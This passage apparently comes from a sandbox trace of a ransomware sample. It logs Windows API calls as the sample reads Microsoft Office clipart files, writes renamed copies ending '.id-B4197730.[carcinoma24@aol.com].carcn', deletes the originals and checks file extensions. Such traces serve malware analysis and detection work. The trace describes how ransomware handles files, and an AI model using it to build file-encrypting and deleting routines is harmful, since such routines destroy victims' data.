lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0292.851] GetLastError () returned 0x0 [0292.851] ReadFile (in: hFile=0x364, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x47a, lpOverlapped=0x0) returned 1 [0292.852] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x480, lpOverlapped=0x0) returned 1 [0292.853] ReadFile (in: hFile=0x364, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0292.853] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0292.853] SetEndOfFile (hFile=0x368) returned 1 [0292.854] CloseHandle (hObject=0x368) returned 1 [0292.854] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.854] SetEndOfFile (hFile=0x364) returned 1 [0292.855] CloseHandle (hObject=0x364) returned 1 [0292.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0292.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0292.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0292.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0292.855] lstrlenW (lpString=".doc") returned 4 [0292.855] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.855] lstrlenW (lpString=".docx") returned 5 [0292.855] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.855] lstrlenW (lpString=".pdf") returned 4 [0292.855] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.855] lstrlenW (lpString=".xls") returned 4 [0292.856] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.856] lstrlenW (lpString=".xlsx") returned 5 [0292.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.856] lstrlenW (lpString=".ppt") returned 4 [0292.856] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0292.856] lstrlenW (lpString=".zip") returned 4 [0292.856] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.856] lstrlenW (lpString=".rar") returned 4 [0292.856] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.856] lstrlenW (lpString=".bz2") returned 4 [0292.856] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.856] lstrlenW (lpString=".7z") returned 3 [0292.856] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0292.856] lstrlenW (lpString=".dbf") returned 4 [0292.856] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0292.856] lstrlenW (lpString=".1cd") returned 4 [0292.856] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0292.856] lstrlenW (lpString=".jpg") returned 4 [0292.856] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0292.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0292.856] lstrlenW (lpString=".doc") returned 4 [0292.856] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0292.856] lstrlenW (lpString=".docx") returned 5 [0292.856] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0292.856] lstrlenW (lpString=".pdf") returned 4 [0292.856] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0292.856] lstrlenW (lpString=".xls") returned 4 [0292.856] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0292.856] lstrlenW (lpString=".xlsx") returned 5 [0292.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0292.856] lstrlenW (lpString=".ppt") returned 4 [0292.856] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0292.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0292.857] lstrlenW (lpString=".zip") returned 4 [0292.857] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0292.857] lstrlenW (lpString=".rar") returned 4 [0292.857] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0292.857] lstrlenW (lpString=".bz2") returned 4 [0292.857] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0292.857] lstrlenW (lpString=".7z") returned 3 [0292.857] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0292.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0292.857] lstrlenW (lpString=".dbf") returned 4 [0292.857] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0292.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0292.857] lstrlenW (lpString=".1cd") returned 4 [0292.857] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0292.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68 [0292.857] lstrlenW (lpString=".jpg") returned 4 [0292.857] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0292.857] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0292.857] lstrlenW (lpString="AG00161_.GIF") returned 12 [0292.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0292.858] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=7583) returned 1 [0292.858] CloseHandle (hObject=0x364) returned 1 [0292.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220 [0292.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0292.858] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.858] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0292.859] GetLastError () returned 0x0 [0292.859] ReadFile (in: hFile=0x364, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1d9f, lpOverlapped=0x0) returned 1 [0293.227] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1da0, lpOverlapped=0x0) returned 1 [0293.228] ReadFile (in: hFile=0x364, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.228] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0293.229] SetEndOfFile (hFile=0x368) returned 1 [0293.229] CloseHandle (hObject=0x368) returned 1 [0293.229] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.229] SetEndOfFile (hFile=0x364) returned 1 [0293.230] CloseHandle (hObject=0x364) returned 1 [0293.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0293.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0293.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0293.232] lstrlenW (lpString=".doc") returned 4 [0293.232] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.232] lstrlenW (lpString=".docx") returned 5 [0293.232] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.232] lstrlenW (lpString=".pdf") returned 4 [0293.232] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.232] lstrlenW (lpString=".xls") returned 4 [0293.232] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.232] lstrlenW (lpString=".xlsx") returned 5 [0293.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.232] lstrlenW (lpString=".ppt") returned 4 [0293.232] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0293.233] lstrlenW (lpString=".zip") returned 4 [0293.233] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.233] lstrlenW (lpString=".rar") returned 4 [0293.233] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.233] lstrlenW (lpString=".bz2") returned 4 [0293.233] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.233] lstrlenW (lpString=".7z") returned 3 [0293.233] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0293.233] lstrlenW (lpString=".dbf") returned 4 [0293.233] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0293.233] lstrlenW (lpString=".1cd") returned 4 [0293.233] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0293.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0293.233] lstrlenW (lpString=".jpg") returned 4 [0293.233] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0293.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0293.233] lstrlenW (lpString=".doc") returned 4 [0293.233] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0293.233] lstrlenW (lpString=".docx") returned 5 [0293.234] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0293.234] lstrlenW (lpString=".pdf") returned 4 [0293.234] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0293.234] lstrlenW (lpString=".xls") returned 4 [0293.234] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0293.234] lstrlenW (lpString=".xlsx") returned 5 [0293.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0293.234] lstrlenW (lpString=".ppt") returned 4 [0293.234] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0293.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0293.234] lstrlenW (lpString=".zip") returned 4 [0293.234] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0293.234] lstrlenW (lpString=".rar") returned 4 [0293.234] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0293.234] lstrlenW (lpString=".bz2") returned 4 [0293.234] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0293.235] lstrlenW (lpString=".7z") returned 3 [0293.235] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0293.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0293.235] lstrlenW (lpString=".dbf") returned 4 [0293.235] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0293.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0293.235] lstrlenW (lpString=".1cd") returned 4 [0293.235] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0293.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0293.235] lstrlenW (lpString=".jpg") returned 4 [0293.235] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0293.279] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0293.279] lstrlenW (lpString="AN00010_.WMF") returned 12 [0293.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0293.279] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3026) returned 1 [0293.280] CloseHandle (hObject=0x378) returned 1 [0293.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0293.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0293.325] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.325] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0293.358] GetLastError () returned 0x0 [0293.358] ReadFile (in: hFile=0x370, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xbd2, lpOverlapped=0x0) returned 1 [0293.359] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xbe0, lpOverlapped=0x0) returned 1 [0293.361] ReadFile (in: hFile=0x370, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.361] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0293.361] SetEndOfFile (hFile=0x368) returned 1 [0293.365] CloseHandle (hObject=0x368) returned 1 [0293.365] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.366] SetEndOfFile (hFile=0x370) returned 1 [0293.366] CloseHandle (hObject=0x370) returned 1 [0293.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0293.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0293.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0293.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0293.368] lstrlenW (lpString=".doc") returned 4 [0293.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.368] lstrlenW (lpString=".docx") returned 5 [0293.368] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.368] lstrlenW (lpString=".pdf") returned 4 [0293.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.368] lstrlenW (lpString=".xls") returned 4 [0293.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.368] lstrlenW (lpString=".xlsx") returned 5 [0293.368] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.368] lstrlenW (lpString=".ppt") returned 4 [0293.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0293.368] lstrlenW (lpString=".zip") returned 4 [0293.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.368] lstrlenW (lpString=".rar") returned 4 [0293.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.368] lstrlenW (lpString=".bz2") returned 4 [0293.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.368] lstrlenW (lpString=".7z") returned 3 [0293.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0293.368] lstrlenW (lpString=".dbf") returned 4 [0293.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0293.369] lstrlenW (lpString=".1cd") returned 4 [0293.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0293.369] lstrlenW (lpString=".jpg") returned 4 [0293.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0293.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0293.369] lstrlenW (lpString=".doc") returned 4 [0293.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.369] lstrlenW (lpString=".docx") returned 5 [0293.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.369] lstrlenW (lpString=".pdf") returned 4 [0293.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.369] lstrlenW (lpString=".xls") returned 4 [0293.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.369] lstrlenW (lpString=".xlsx") returned 5 [0293.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.369] lstrlenW (lpString=".ppt") returned 4 [0293.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0293.369] lstrlenW (lpString=".zip") returned 4 [0293.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.369] lstrlenW (lpString=".rar") returned 4 [0293.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.369] lstrlenW (lpString=".bz2") returned 4 [0293.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.370] lstrlenW (lpString=".7z") returned 3 [0293.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0293.370] lstrlenW (lpString=".dbf") returned 4 [0293.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0293.370] lstrlenW (lpString=".1cd") returned 4 [0293.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0293.370] lstrlenW (lpString=".jpg") returned 4 [0293.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.370] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0293.370] lstrlenW (lpString="AN00914_.WMF") returned 12 [0293.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0293.371] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=10832) returned 1 [0293.371] CloseHandle (hObject=0x370) returned 1 [0293.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0293.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0293.371] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.371] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0293.372] GetLastError () returned 0x0 [0293.372] ReadFile (in: hFile=0x370, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2a50, lpOverlapped=0x0) returned 1 [0293.373] WriteFile (in: hFile=0x368, 